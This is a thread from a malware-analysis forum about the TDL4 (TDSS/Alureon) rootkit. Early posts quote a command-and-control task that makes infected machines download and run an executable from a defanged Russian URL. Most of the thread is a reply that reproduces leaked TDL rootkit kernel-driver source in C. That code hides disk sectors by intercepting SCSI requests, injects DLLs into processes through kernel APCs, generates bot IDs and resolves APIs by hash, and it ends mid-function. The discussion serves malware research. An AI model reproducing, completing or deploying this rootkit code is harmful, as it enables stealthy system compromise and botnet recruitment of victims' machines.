Rootkit TDL 4 (alias TDSS, Alureon.DX, Olmarik)

Forum for analysis and discussion about malware.
User avatar
gjf
Posts: 198
Joined: Mon Mar 15, 2010 10:23 am
Location: Where I lay my head is home
Contact:

Re: Rootkit TDL 4 (alias TDSS, Alureon.DX, Olmarik)

Post by gjf » Mon Mar 14, 2011 7:02 pm

ESET found (sorry, in Russian only) that sometimes TDL4 installs Win32/Glupteba immediately after identification in botnet. It is performing using instruction from C&C:

Code: Select all

task_id = 2|10||hxxp://wheelcars.ru/no.exe
that could be interpreted as

Code: Select all

task_id = [command_id] [encryption_key] [URL]
Glupteba works as adclicker and spam sender.
VirusInfo / Defendium / SafeZone Helpers Crew

User avatar
kmd
Posts: 270
Joined: Mon Mar 15, 2010 4:09 am
Location: Russian Federation

Re: Rootkit TDL 4 (alias TDSS, Alureon.DX, Olmarik)

Post by kmd » Tue Mar 15, 2011 8:46 am

L in TDL stands for 'Loader' nothing especial in eset discovery

markusg
Posts: 734
Joined: Mon Mar 15, 2010 2:53 pm

Re: Rootkit TDL 4 (alias TDSS, Alureon.DX, Olmarik)

Post by markusg » Tue Mar 15, 2011 3:09 pm

You do not have the required permissions to view the files attached to this post.

markusg
Posts: 734
Joined: Mon Mar 15, 2010 2:53 pm

Re: Rootkit TDL 4 (alias TDSS, Alureon.DX, Olmarik)

Post by markusg » Tue Mar 15, 2011 4:01 pm

You do not have the required permissions to view the files attached to this post.

User avatar
EP_X0FF
Global Moderator
Posts: 4814
Joined: Sun Mar 07, 2010 5:35 am
Location: Russian Federation
Contact:

Re: Rootkit TDL 4 (alias TDSS, Alureon.DX, Olmarik)

Post by EP_X0FF » Wed Mar 16, 2011 2:04 pm

TDL4.03 with

cmd versions
x64 v0.11
x86 v0.15

BSOD'ed well while installation.
Ring0 - the source of inspiration

User avatar
kmd
Posts: 270
Joined: Mon Mar 15, 2010 4:09 am
Location: Russian Federation

Re: Rootkit TDL 4 (alias TDSS, Alureon.DX, Olmarik)

Post by kmd » Thu Mar 17, 2011 6:45 am

TDL source moved to public 8-)
who can share?

User avatar
EP_X0FF
Global Moderator
Posts: 4814
Joined: Sun Mar 07, 2010 5:35 am
Location: Russian Federation
Contact:

Re: Rootkit TDL 4 (alias TDSS, Alureon.DX, Olmarik)

Post by EP_X0FF » Thu Mar 17, 2011 9:01 am

kmd wrote:TDL source moved to public 8-)
who can share?

Code: Select all

#include "inc.h"

#pragma comment(linker,"/subsystem:native /entry:DriverEntry")

NT_BEGIN
EXTERN_C_START

DWORD GetDelta();
NTSTATUS Reinitialize(PDEVICE_OBJECT,BOOLEAN);
VOID GetEPNameOffset();

NTSTATUS TDLEntry(PDRIVER_OBJECT pdoDriver,PUNICODE_STRING pusRegistry)
{

	PTDL_START ptsStart;
	PIMAGE_NT_HEADERS pinhHeader;

	GET_TDL_ADDRESSES->pdoDeviceDisk=(PDEVICE_OBJECT)pusRegistry;
	pinhHeader=(PIMAGE_NT_HEADERS)RtlImageNtHeader(pdoDriver->DriverStart);
	ptsStart=(PTDL_START)RtlOffsetToPointer(pdoDriver->DriverStart,pinhHeader->OptionalHeader.AddressOfEntryPoint+TDL_START_SIZE-sizeof(TDL_START));
	GET_TDL_ADDRESSES->ullFSOffset=ptsStart->ullDriverCodeOffset;
	pinhHeader->OptionalHeader.AddressOfEntryPoint=(DWORD)(DWORD_PTR)ptsStart->pdiOEP;
	pinhHeader->OptionalHeader.CheckSum=ptsStart->dwCheckSum;
	pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size=ptsStart->dwSectionSecuritySize;
	pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress=ptsStart->dwSectionSecurityVirtualAddress;
	GetEPNameOffset();
	*GET_TDL_ADDRESSES->cBotID=0;
	if(!NT_SUCCESS(Reinitialize(0,FALSE)))
	{
		IoRegisterFsRegistrationChange(GET_TDL_ADDRESSES->pdoDriver,ADDRESS_DELTA(PDRIVER_FS_NOTIFICATION,Reinitialize));
	}
	return STATUS_SUCCESS;
}

VOID GetEPNameOffset()
{
	CHAR cSystem[]={'S','y','s','t','e','m',0};

	GET_TDL_ADDRESSES->dwEPNameOffset=0;
	while(memcmp(RtlOffsetToPointer(IoGetCurrentProcess(),GET_TDL_ADDRESSES->dwEPNameOffset),cSystem,sizeof(cSystem))!=0)
	{
		GET_TDL_ADDRESSES->dwEPNameOffset++;
	}
	return;
}

PVOID Unxor(PVOID pvData,DWORD dwSize,BYTE bKey)
{
	DWORD dwData;

	for(dwData=0;dwData<dwSize;dwData++)
	{
		((PBYTE)pvData)[dwData]^=dwData+bKey;
	}
	return pvData;
};

NTSTATUS SCSICmd(PDEVICE_OBJECT pdoDevice,PDRIVER_DISPATCH pddDispatch,BYTE bOpCode,BYTE bDataIn,PVOID pvBuffer,DWORD dwBufferSize,DWORD dwAddress)
{
	SCSI_REQUEST_BLOCK srbBuffer;
	SENSE_DATA sdData;
	IO_STATUS_BLOCK iosbStatus;
	KEVENT keEvent;
	PIRP piIrp;
	PMDL pmMdl;
	PIO_STACK_LOCATION pislStack;

	memset(&srbBuffer,0,sizeof(srbBuffer));
	memset(&sdData,0,sizeof(sdData));
	srbBuffer.Length=sizeof(srbBuffer);
	srbBuffer.Function=SRB_FUNCTION_EXECUTE_SCSI;
	srbBuffer.QueueAction=SRB_FLAGS_DISABLE_AUTOSENSE;
	srbBuffer.CdbLength=CDB10GENERIC_LENGTH;
	srbBuffer.SenseInfoBufferLength=sizeof(sdData);
	srbBuffer.SenseInfoBuffer=&sdData;
	srbBuffer.DataTransferLength=dwBufferSize;
	srbBuffer.DataBuffer=pvBuffer;
	srbBuffer.TimeOutValue=5000;
	srbBuffer.QueueSortKey=dwAddress;
	srbBuffer.SrbFlags=bDataIn|SRB_FLAGS_DISABLE_AUTOSENSE;
	srbBuffer.Cdb[0]=bOpCode;
	srbBuffer.Cdb[2]=(BYTE)((dwAddress&0xff000000)>>24); 
	srbBuffer.Cdb[3]=(BYTE)((dwAddress&0xff0000)>>16); 
	srbBuffer.Cdb[4]=(BYTE)((dwAddress&0xff00)>>8); 
	srbBuffer.Cdb[5]=(BYTE)(dwAddress&0xff);
	if(dwAddress!=0)
	{
		DWORD dwSectors;

		dwSectors=dwBufferSize/0x200;
		srbBuffer.Cdb[7]=(BYTE)((dwSectors&0xff00)>>8);
		srbBuffer.Cdb[8]=(BYTE)(dwSectors&0xff);
	}
	KeInitializeEvent(&keEvent,NotificationEvent,FALSE);
	piIrp=IoAllocateIrp(pdoDevice->StackSize,FALSE);
	if(piIrp!=0)
	{
		pmMdl=IoAllocateMdl(pvBuffer,dwBufferSize,0,0,piIrp);
		srbBuffer.OriginalRequest=piIrp;
		piIrp->MdlAddress=pmMdl;
		MmProbeAndLockPages(pmMdl,KernelMode,IoModifyAccess);
		piIrp->UserIosb=&iosbStatus;
		piIrp->UserEvent=&keEvent;
		piIrp->Flags=IRP_SYNCHRONOUS_API|IRP_NOCACHE;
		piIrp->Tail.Overlay.Thread=KeGetCurrentThread();
		pislStack=IoGetNextIrpStackLocation(piIrp);
		pislStack->DeviceObject=pdoDevice;
		pislStack->MajorFunction=IRP_MJ_SCSI;
		pislStack->Parameters.Scsi.Srb=&srbBuffer;
		piIrp->CurrentLocation--;
		pislStack=IoGetNextIrpStackLocation(piIrp);
		piIrp->Tail.Overlay.CurrentStackLocation=pislStack;
		pislStack->DeviceObject=pdoDevice;
		if(pddDispatch(pdoDevice,piIrp)==STATUS_PENDING)
		{
			KeWaitForSingleObject(&keEvent,Executive,KernelMode,FALSE,0);
		}
		return iosbStatus.Status;
	}
	return STATUS_INSUFFICIENT_RESOURCES;
}

extern "C"
{
	#include "gz.cpp"
	#include "md4.cpp"
	#include "socket.cpp"
	#include "tdlini.cpp"
	#include "tdlfs.cpp"

}

NTSTATUS MJCompletion(PDEVICE_OBJECT pdoDevice,PIRP piIrp,PVOID pvContext)
{
	NTSTATUS ntsStatus;

	if(NT_SUCCESS(piIrp->IoStatus.Status))
	{
		PVOID pvBuffer;
		PIO_STACK_LOCATION pislStack;
		DWORD dwSector;

		pislStack=IoGetCurrentIrpStackLocation(piIrp);
		pvBuffer=MmGetSystemAddressForMdlSafe(piIrp->MdlAddress,NormalPagePriority);
		if(((PDISK_COMPLETION)pvContext)->dwSectorOffset+(DWORD)piIrp->IoStatus.Information/GET_TDL_ADDRESSES->dwSectorSize>GET_TDL_ADDRESSES->dwFirstHiddenSector)
		{
			DWORD dwOffset;

			if(((PDISK_COMPLETION)pvContext)->dwSectorOffset<GET_TDL_ADDRESSES->dwFirstHiddenSector)
			{
				dwOffset=(GET_TDL_ADDRESSES->dwFirstHiddenSector-((PDISK_COMPLETION)pvContext)->dwSectorOffset)*GET_TDL_ADDRESSES->dwSectorSize;
			}
			else
			{
				dwOffset=0;
			}
			memset(RtlOffsetToPointer(pvBuffer,dwOffset),0,(DWORD)piIrp->IoStatus.Information-dwOffset);
		}
		else
		{
			for(dwSector=0;dwSector<GET_TDL_ADDRESSES->dwHiddenSectors;dwSector++)
			{
				if((GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset!=0)
					&&ADDRESS_IN(GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset,((PDISK_COMPLETION)pvContext)->dwSectorOffset,piIrp->IoStatus.Information/GET_TDL_ADDRESSES->dwSectorSize))
				{
					memcpy(RtlOffsetToPointer(pvBuffer,GET_TDL_ADDRESSES->thsSectors[dwSector].dwOffset+(GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset-((PDISK_COMPLETION)pvContext)->dwSectorOffset)*GET_TDL_ADDRESSES->dwSectorSize),GET_TDL_ADDRESSES->thsSectors[dwSector].pvValue,GET_TDL_ADDRESSES->thsSectors[dwSector].dwSize);
				}
			}
		}
	}
	if(((PDISK_COMPLETION)pvContext)->picrCompletion!=0)
	{
		ntsStatus=((PDISK_COMPLETION)pvContext)->picrCompletion(pdoDevice,piIrp,((PDISK_COMPLETION)pvContext)->pvContext);
	}
	ExFreePool(pvContext);
	return ntsStatus;
}

NTSTATUS MJDispatch(PDEVICE_OBJECT pdoDevice,PIRP piIrp)
{
	PIO_STACK_LOCATION pislStack;
	PDISK_COMPLETION pdcCompletion=0;
	DWORD dwSector;

	pislStack=IoGetCurrentIrpStackLocation(piIrp);
	if((pdoDevice==GET_TDL_ADDRESSES->pdoFSDevice)
		&&(pislStack->FileObject!=0)
		&&(pislStack->FileObject->FileName.Length>sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)+2*sizeof(L'\\')-sizeof(WCHAR))
		&&(memcmp(RtlOffsetToPointer(pislStack->FileObject->FileName.Buffer,sizeof(L'\\')),GET_TDL_ADDRESSES->wcTDLDirectory,sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)-sizeof(WCHAR))==0))
	{
		piIrp->IoStatus.Status=STATUS_NOT_IMPLEMENTED;
		piIrp->IoStatus.Information=0;
		TDLFSDispatch(pdoDevice,piIrp);
		IoCompleteRequest(piIrp,IO_NO_INCREMENT);
		return piIrp->IoStatus.Status;
	}
	if((pdoDevice==GET_TDL_ADDRESSES->pdoDeviceDisk)
		&&(!((pislStack->FileObject!=0)
			&&(pislStack->FileObject->FileName.Length==sizeof(L'\\')+sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)-sizeof(WCHAR))
			&&(memcmp(RtlOffsetToPointer(pislStack->FileObject->FileName.Buffer,sizeof(L'\\')),GET_TDL_ADDRESSES->wcTDLDirectory,sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)-sizeof(WCHAR))==0)))
		&&(pislStack->MajorFunction==IRP_MJ_SCSI)
		&&(pislStack->Parameters.Scsi.Srb->Function==SRB_FUNCTION_EXECUTE_SCSI))
	{
		BOOL bComplete=FALSE;
		BOOL bEnd=FALSE;

		if(pislStack->Parameters.Scsi.Srb->QueueSortKey+pislStack->Parameters.Scsi.Srb->DataTransferLength/GET_TDL_ADDRESSES->dwSectorSize>GET_TDL_ADDRESSES->dwFirstHiddenSector)
		{
			bEnd=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_OUT)!=0;
			bComplete=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_IN)!=0;
		}
		else
		{
			for(dwSector=0;dwSector<GET_TDL_ADDRESSES->dwHiddenSectors;dwSector++)
			{
				if((GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset!=0)
					&&ADDRESS_IN(GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset,pislStack->Parameters.Scsi.Srb->QueueSortKey,pislStack->Parameters.Scsi.Srb->DataTransferLength/GET_TDL_ADDRESSES->dwSectorSize))
				{
					bEnd=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_OUT)!=0;
					bComplete=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_IN)!=0;
				}
			}
		}
		if(bEnd)
		{
			pislStack->Parameters.Scsi.Srb->SrbStatus=SRB_STATUS_SUCCESS;
			pislStack->Parameters.Scsi.Srb->InternalStatus=SRB_STATUS_SUCCESS;
			piIrp->IoStatus.Status=STATUS_SUCCESS;
			IoCompleteRequest(piIrp,IO_NO_INCREMENT);
			return STATUS_SUCCESS;
		}
		if(bComplete)
		{
			pdcCompletion=(PDISK_COMPLETION)ExAllocatePool(NonPagedPool,sizeof(DISK_COMPLETION));
			if(pdcCompletion!=0)
			{
				pdcCompletion->picrCompletion=pislStack->CompletionRoutine;
				pdcCompletion->pvContext=pislStack->Context;
				pdcCompletion->dwSectorOffset=pislStack->Parameters.Scsi.Srb->QueueSortKey;
				pislStack->Control=SL_INVOKE_ON_SUCCESS|SL_INVOKE_ON_ERROR|SL_INVOKE_ON_CANCEL;
				pislStack->Context=pdcCompletion;
				pislStack->CompletionRoutine=ADDRESS_DELTA(PIO_COMPLETION_ROUTINE,MJCompletion);
			}
		}
	}
	return GET_TDL_ADDRESSES->pddDiskMJ[pislStack->MajorFunction](pdoDevice,piIrp);
}

NTSTATUS GenerateBotID(PCHAR pcBotID,DWORD dwBotIDSize)
{
	CHAR cBotIDFormat[]={'%','x','%','x',0};
	WCHAR wcVolumeObject[]={L'\\',L's',L'y',L's',L't',L'e',L'm',L'r',L'o',L'o',L't',0};
	UUID uuidBotID;
	UNICODE_STRING usName;
	HANDLE hVolume;
	FILE_FS_VOLUME_INFORMATION ffviInfo;
	IO_STATUS_BLOCK iosbStatus;
	OBJECT_ATTRIBUTES oaAttributes;

	RtlInitUnicodeString(&usName,wcVolumeObject);
	InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
	ffviInfo.VolumeSerialNumber=0;
	if(NT_SUCCESS(ZwOpenFile(&hVolume,SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,FILE_SYNCHRONOUS_IO_NONALERT)))
	{
		ZwQueryVolumeInformationFile(hVolume,&iosbStatus,&ffviInfo,sizeof(ffviInfo),FileFsVolumeInformation);
		ZwClose(hVolume);
	}
	if(ExUuidCreate(&uuidBotID)==0)
	{
		_snprintf(pcBotID,dwBotIDSize,cBotIDFormat,*(PDWORD)RtlOffsetToPointer(uuidBotID.Data4,4),ffviInfo.VolumeSerialNumber);
		return STATUS_SUCCESS;
	}	
	return STATUS_RETRY;
}

__declspec(naked) DWORD GetDelta()
{
	__asm
	{
		call delta
		delta:
		pop	eax
		sub	eax,offset delta
		retn
	}
}

__declspec(noinline) PVOID GetNtoskrnlBase()
{
	BYTE bIDT[6];
	PIDT_ENTRY pieIDTEntry;
	PWORD pwAddress;

	__asm
	{
		sidt bIDT;
	}
	pieIDTEntry=(PIDT_ENTRY)(*((PDWORD_PTR)&bIDT[2])+8*0x40);
	pwAddress=PWORD(pieIDTEntry->dw64OffsetLow|(pieIDTEntry->dw64OffsetHigh<<16));
	do
	{
		pwAddress=(PWORD)ALIGNDOWN(pwAddress,PAGE_SIZE);
		if(*pwAddress=='ZM')
		{
			return (PVOID)pwAddress;
		}
		pwAddress--;
	}
	while(pwAddress!=0);
	return 0;
}

VOID __stdcall APCKernelRoutine(PKAPC pkaApc,PKNORMAL_ROUTINE*,PVOID*,PVOID* ppvMemory,PVOID*)
{
	ExFreePool(pkaApc);
	return;
}

NTSTATUS DllInject(HANDLE hProcessID,PEPROCESS pepProcess,PKTHREAD pktThread,PCHAR pcDll,BOOLEAN bAlert)
{
	HANDLE hProcess;
	OBJECT_ATTRIBUTES oaAttributes={sizeof(OBJECT_ATTRIBUTES)};
	CLIENT_ID cidProcess;
	PVOID pvMemory=0;
	DWORD dwSize;
	CHAR cDllReal[MAX_PATH];
	CHAR cDllRealFormat[]={'\\','\\','?','\\','g','l','o','b','a','l','r','o','o','t','%','S','\\','%','S','\\','%','s',0};
	PCHAR pcDllReal;

	if(*pcDll!='\\')
	{
		dwSize=_snprintf(cDllReal,RTL_NUMBER_OF(cDllReal)-1,cDllRealFormat,GET_TDL_ADDRESSES->wcFSDevice,GET_TDL_ADDRESSES->wcTDLDirectory,pcDll)+1;
		pcDllReal=cDllReal;
	}
	else
	{
		pcDllReal=pcDll;
		dwSize=strlen(pcDll)+1;
	}
	cidProcess.UniqueProcess=hProcessID;
	cidProcess.UniqueThread=0;
	if(NT_SUCCESS(ZwOpenProcess(&hProcess,PROCESS_ALL_ACCESS,&oaAttributes,&cidProcess)))
	{
		if(NT_SUCCESS(ZwAllocateVirtualMemory(hProcess,&pvMemory,0,&dwSize,MEM_RESERVE|MEM_COMMIT,PAGE_READWRITE)))
		{
			KAPC_STATE kasState;
			PKAPC pkaApc;

			KeStackAttachProcess(pepProcess,&kasState);
			strcpy(pvMemory,pcDllReal);
			KeUnstackDetachProcess(&kasState);
			pkaApc=(PKAPC)ExAllocatePool(NonPagedPool,sizeof(KAPC));
			if(pkaApc!=0)
			{
				KeInitializeApc(pkaApc,pktThread,0,ADDRESS_DELTA(PKKERNEL_ROUTINE,APCKernelRoutine),0,GET_TDL_ADDRESSES->pvLoadLibraryExA,UserMode,pvMemory);
				KeInsertQueueApc(pkaApc,0,0,IO_NO_INCREMENT);
				return STATUS_SUCCESS;
			}
		}
		ZwClose(hProcess);
	}
	return STATUS_NO_MEMORY;
}

VOID WIInjector(PVOID pvContext)
{
	CHAR cAny[]=TDL_CONFIG_INJECTOR_ANY;
	CHAR cSection[]=TDL_CONFIG_INJECTOR;
	CHAR cDll[MAX_PATH];

	
	CHAR cSection2[]=TDL_CONFIG_MAIN;
	CHAR cKey[]={'d','a','t','e',0};


	DWORD dwDate=TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection2,cKey,0);
	DWORD dwCurrent;
	
	LARGE_INTEGER liTime;
	KeQuerySystemTime(&liTime);
	RtlTimeToSecondsSince1970(&liTime,&dwCurrent);

	//CHAR cDebug[]={'D','A','T','E','%','d',' ','%','d',' ','%','d',' ','%','d','\n',0};
	//DbgPrint(cDebug,dwDate,dwCurrent,dwCurrent-dwDate,0);


	//if(dwCurrent-dwDate>=60*24*60)
	{
//		DbgPrint(cDebug,dwDate,dwCurrent,dwCurrent-dwDate,1);
		if(TDLIniReadString(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cAny,0,cDll,sizeof(cDll)))
		{
			DllInject(((PWI_INJECT)pvContext)->hProcessID,((PWI_INJECT)pvContext)->pepProcess,((PWI_INJECT)pvContext)->pktThread,cDll,FALSE);
		}
		if(TDLIniReadString(GET_TDL_ADDRESSES->wcTDLConfig,cSection,RtlOffsetToPointer(((PWI_INJECT)pvContext)->pepProcess,GET_TDL_ADDRESSES->dwEPNameOffset),0,cDll,sizeof(cDll)))
		{
			DllInject(((PWI_INJECT)pvContext)->hProcessID,((PWI_INJECT)pvContext)->pepProcess,((PWI_INJECT)pvContext)->pktThread,cDll,FALSE);
		}
	}

	KeSetEvent(&((PWI_INJECT)pvContext)->keEvent,(KPRIORITY)0,FALSE);
	return;
}

VOID __stdcall APCInjectRoutine(PKAPC pkaApc,PKNORMAL_ROUTINE*,PVOID*,PVOID*,PVOID*)
{
	WI_INJECT wiiItem;

	ExFreePool(pkaApc);
	wiiItem.pktThread=KeGetCurrentThread();
	wiiItem.pepProcess=IoGetCurrentProcess();
	wiiItem.hProcessID=PsGetCurrentProcessId();
	KeInitializeEvent(&wiiItem.keEvent,NotificationEvent,FALSE);
	ExInitializeWorkItem(&wiiItem.qiItem,ADDRESS_DELTA(PWORKER_THREAD_ROUTINE,WIInjector),&wiiItem);
	ExQueueWorkItem(&wiiItem.qiItem,DelayedWorkQueue);
	KeWaitForSingleObject(&wiiItem.keEvent,Executive,KernelMode,TRUE,0);
	return;
}

VOID LoadImageNotify(PUNICODE_STRING FullImageName,HANDLE hProcessID,PIMAGE_INFO ImageInfo)
{
	if(FullImageName!=0)
	{
		WCHAR wcKernel32Mask[]={L'*',L'\\',L'K',L'E',L'R',L'N',L'E',L'L',L'3',L'2',L'.',L'D',L'L',L'L',0};
		UNICODE_STRING usKernel32Mask;

		RtlInitUnicodeString(&usKernel32Mask,wcKernel32Mask);
		if(FsRtlIsNameInExpression(&usKernel32Mask,FullImageName,TRUE,0))
		{
			PKAPC pkaApc;

			if(GET_TDL_ADDRESSES->pvLoadLibraryExA==0)
			{
				GET_TDL_ADDRESSES->pvLoadLibraryExA=GetProcedureAddressByHash(ImageInfo->ImageBase,TDL_HASH_LOADLIBRARYEXA);
			}
			pkaApc=(PKAPC)ExAllocatePool(NonPagedPool,sizeof(KAPC));
			if(pkaApc!=0)
			{
				KeInitializeApc(pkaApc,KeGetCurrentThread(),0,ADDRESS_DELTA(PKKERNEL_ROUTINE,APCInjectRoutine),0,0,KernelMode,0);
				KeInsertQueueApc(pkaApc,0,0,IO_NO_INCREMENT);
			}
		}
	}
	return;
}

VOID WIKnock(PVOID pvWIKnock)
{
	KEVENT keEvent;

	ExFreePool(pvWIKnock);

	/*
	CHAR cSection2[]=TDL_CONFIG_MAIN;
		CHAR cKey[]={'r','e','b','o','o','t','s',0};
		CHAR cDebug[]={'U','P','D','%','s',' ','%','d','\n',0};
		DWORD dwRand=(DWORD)rand()%100;
		DbgPrint(cDebug,cKey,dwRand);
		TDLIniWriteDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection2,cKey,dwRand);
	*/
	
	KeInitializeEvent(&keEvent,NotificationEvent,FALSE);
	while(TRUE)
	{
		
		LARGE_INTEGER liDelay;


		if((*GET_TDL_ADDRESSES->cBotID==0)
			&&NT_SUCCESS(GenerateBotID(GET_TDL_ADDRESSES->cBotID,RTL_NUMBER_OF(GET_TDL_ADDRESSES->cBotID))))
		{
			OBJECT_ATTRIBUTES oaAttributes;
			WCHAR wcBotID[0x10+sizeof(L'\\')+1];
			WCHAR wcBotIDFormat[]={L'\\',L'%',L'S',0};
			UNICODE_STRING usName;
			HANDLE hEvent;

			_snwprintf(wcBotID,RTL_NUMBER_OF(wcBotID),wcBotIDFormat,GET_TDL_ADDRESSES->cBotID);
			RtlInitUnicodeString(&usName,wcBotID);
			InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
			ZwCreateEvent(&hEvent,EVENT_ALL_ACCESS,&oaAttributes,NotificationEvent,TRUE);
			return;
		}
		liDelay.QuadPart=(LONGLONG)-10*10000000;

		//liDelay.QuadPart=(LONGLONG)-1*10000000;
		KeWaitForSingleObject(&keEvent,Executive,KernelMode,FALSE,&liDelay);
	}
	return;
}
/*

void WITimer(PVOID pvWITimer)
{
	CHAR cSection2[]=TDL_CONFIG_MAIN;
	CHAR cKey[]={'r','e','b','o','o','t','s',0};
	CHAR cDebug[]={'U','P','D','%','s',' ','%','d','\n',0};
	KEVENT keEvent;

	ExFreePool(pvWITimer);
	KeInitializeEvent(&keEvent,NotificationEvent,FALSE);

	while(TRUE)
	{
		DWORD dwRand=(DWORD)rand()%100;
		LARGE_INTEGER liDelay;
		
		DbgPrint(cDebug,cKey,dwRand);
		//TDLIniWriteDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection2,cKey,dwRand);

		liDelay.QuadPart=(LONGLONG)-5*10000000;
		KeWaitForSingleObject(&keEvent,Executive,KernelMode,FALSE,&liDelay);
	}
	
}
*/

PIMAGE_SECTION_HEADER RvaToSectionHeader(PIMAGE_NT_HEADERS pinhHeader,DWORD dwRva)
{
	PIMAGE_SECTION_HEADER pishHeader;
	DWORD dwSection;

	pishHeader=IMAGE_FIRST_SECTION(pinhHeader);
	for(dwSection=0;dwSection<pinhHeader->FileHeader.NumberOfSections;dwSection++)
	{
		if((dwRva>=pishHeader->VirtualAddress)
			&&(dwRva<(pishHeader->VirtualAddress+pishHeader->Misc.VirtualSize)))
		{
			return pishHeader;
		}
		pishHeader++;
	}
	return 0;
}

DWORD RvaToFileOffset(PIMAGE_NT_HEADERS pinhHeader,DWORD dwRva)
{
	PIMAGE_SECTION_HEADER pishHeader;

	pishHeader=RvaToSectionHeader(pinhHeader,dwRva);
	if(pishHeader!=0)
	{
		return (DWORD)ALIGNDOWN(pishHeader->PointerToRawData,pinhHeader->OptionalHeader.FileAlignment)+(dwRva-pishHeader->VirtualAddress);
	}
	return 0;
}

DWORD PEChecksum(PVOID pvData,DWORD dwSize,WORD wChecksum)
{
	DWORD dwBytes=dwSize;

	while(dwBytes>0)
	{
		if(HIWORD((DWORD)wChecksum+(DWORD)*(PWORD)pvData)!=0)
		{
			wChecksum++;
		}
		wChecksum+=*(PWORD)pvData;
		dwBytes-=sizeof(WORD);
		pvData=MAKE_PTR(pvData,sizeof(WORD),PVOID);
	}
	return wChecksum+dwSize;
}

__declspec(noinline) DWORD HashString(PCHAR pcString)
{
	DWORD dwResult=0;

	while(*pcString!=0)
	{
		dwResult=(0x1003f*dwResult)+(DWORD)(*((PWORD)pcString++));
	}
	return dwResult;
}

__declspec(noinline) PVOID GetProcedureAddressByHash(PVOID pvBase,DWORD dwHash)
{
	PIMAGE_NT_HEADERS pinhHeader;
	PIMAGE_EXPORT_DIRECTORY piedExport;
	PDWORD pdwNames;
	PDWORD pdwProcedures;
	PWORD pdwOrdinals;
	DWORD i;

	pinhHeader=(PIMAGE_NT_HEADERS)((DWORD_PTR)(((PIMAGE_DOS_HEADER)pvBase)->e_lfanew)+(DWORD_PTR)pvBase);
	piedExport=(PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)(pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)+(DWORD_PTR)pvBase);
	pdwNames=MAKE_PTR(pvBase,piedExport->AddressOfNames,PDWORD);
	pdwProcedures=MAKE_PTR(pvBase,piedExport->AddressOfFunctions,PDWORD);
	pdwOrdinals=MAKE_PTR(pvBase,piedExport->AddressOfNameOrdinals,PWORD);
	for(i=0;i<piedExport->NumberOfNames;i++)
	{
		if(HashString(MAKE_PTR(pvBase,pdwNames[i],PCHAR))==dwHash)
		{
			return MAKE_PTR(pvBase,pdwProcedures[pdwOrdinals[i]],PVOID);
		}
	}
	return 0;
}

NTSTATUS MJStub(PDEVICE_OBJECT pdoDevice,PIRP piIrp)
{
	return GET_TDL_ADDRESSES->pddMJ(pdoDevice,piIrp);
}

NTSTATUS TDLInit(HANDLE hDriver)
{
	BYTE bDeviceName[MAX_PATH];
	DWORD dwSeed;
	DWORD dwCh;
	DWORD dwSize;

	GET_TDL_ADDRESSES->dwHiddenSectors=0;
	dwSeed=((PKUSER_SHARED_DATA)(DWORD_PTR)KI_USER_SHARED_DATA)->SystemTime.LowPart;
	for(dwCh=0;dwCh<RTL_NUMBER_OF(GET_TDL_ADDRESSES->wcTDLDirectory)-1;dwCh++)
	{
		GET_TDL_ADDRESSES->wcTDLDirectory[dwCh]=(WCHAR)('a'+(CHAR)(RtlRandom(&dwSeed)%('z'-'a')));
	}
	GET_TDL_ADDRESSES->wcTDLDirectory[dwCh]=0;
	GET_TDL_ADDRESSES->pdoFSDevice=GET_TDL_ADDRESSES->pdoDriver->DeviceObject;
	while(GET_TDL_ADDRESSES->pdoFSDevice->DeviceType!=FILE_DEVICE_CONTROLLER)
	{
		GET_TDL_ADDRESSES->pdoFSDevice=GET_TDL_ADDRESSES->pdoFSDevice->NextDevice;
	}
	if(NT_SUCCESS(ObQueryNameString(GET_TDL_ADDRESSES->pdoFSDevice,bDeviceName,sizeof(bDeviceName),&dwSize)))
	{
		WCHAR wcFormatFSPath[]={L'%',L'w',L'Z',L'\\',L'%',L's',0};
		PIMAGE_NT_HEADERS pinhHeader;
		PIMAGE_NT_HEADERS pinhHeaderCache;
		PIMAGE_SECTION_HEADER pishHeader;
		PVOID pvMJStub;
		DWORD dwOldCR0;
		STARTING_VCN_INPUT_BUFFER svibBuffer={};
		RETRIEVAL_POINTERS_BUFFER rpbBuffer;
		WCHAR wcPartition[]={L'\\',L'?',L'?',L'\\',L'c',L':',0};
		UNICODE_STRING usName;
		HANDLE hPartition;
		DWORD dwClasterSize;
		OBJECT_ATTRIBUTES oaAttributes;
		IO_STATUS_BLOCK iosbStatus;
		FILE_FS_FULL_SIZE_INFORMATION fffsiInfo;
		PARTITION_INFORMATION piInfo;
		DWORD dwFirstSector=0;
		BOOT_SECTOR bsSector;
		MARK_HANDLE_INFO mhiInfo;
		DWORD dwRsrcOffset;
		PVOID pvRsrcOriginalOffset;
		DWORD dwRsrcSize;
		DWORD dwSector;
		HANDLE hSection;
		PVOID pvFile=0;
		PWORK_QUEUE_ITEM pwqiThread;

